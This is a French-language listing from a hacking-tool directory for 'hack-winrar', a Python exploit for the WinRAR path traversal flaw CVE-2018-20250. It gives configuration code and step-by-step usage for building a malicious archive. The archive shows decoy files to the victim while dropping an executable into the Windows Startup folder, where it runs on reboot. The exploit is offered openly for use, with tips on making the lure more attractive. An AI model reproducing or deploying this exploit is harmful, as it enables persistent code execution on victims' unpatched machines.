Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/technicaldada/hack-winrar
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubtechnicaldada/hack-winrar

hack-winrar

WinRar est un logiciel très connu pour Windows. Une version précédente de WinRAR présentait une vulnérabilité qui a été corrigée en février 2019. La plupart des gens n'ont pas mis à jour WinRAR, ils sont donc vulnérables à ce bug de traversée de chemin absolu [CVE-2018-20250].

Voir le dépôtSite web
11il y a 7 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

hack-winrar

WinRar est un logiciel très connu pour Windows. Une version précédente de WinRaR présentait une vulnérabilité qui a été corrigée en février 2019. La plupart des gens n'ont pas mis à jour WinRAR, ils sont donc vulnérables à ce bug de traversée de chemin absolu [CVE-2018-20250]

exp pour Extraire l'exécution de code de Winrar

poc par Ridter

Comment l'utiliser ?

vous avez juste besoin d'installer Python 3.7, de préparer un fichier malveillant que vous voulez exécuter, de définir les valeurs souhaitées, ce script exp générera automatiquement le fichier d'archive malveillant!

  1. Définissez les valeurs souhaitées
root@kitploit:~
... ...

# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]

... ...

def get_right_hdr_crc(filename):
    # This command may be different, it depends on the your Python3 environment.
    p = os.popen('py -3 acefile.py --headers %s'%(filename))
    res = p.read()
    pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
    result = pattern.findall(res)
    right_hdr_crc = result[0].upper()
    return hex2raw4(right_hdr_crc)

... ...

  1. Exécutez l'exp, l'exp générera automatiquement le test.rar

  1. Si la victime ouvre le test.rar, elle verra les fichiers hello.txt et world.txt. Vous pouvez également ajouter plus de fichiers, plus attractifs.

  1. Lorsqu'il décompresse le fichier, le répertoire de démarrage de l'utilisateur de la victime contiendra un fichier supplémentaire nommé hi.exe, en fait c'est un calc.exe. Lorsqu'il redémarrera l'ordinateur, le hi.exe s'exécutera.

Amusez-vous bien ! :)

Télécharger l’outil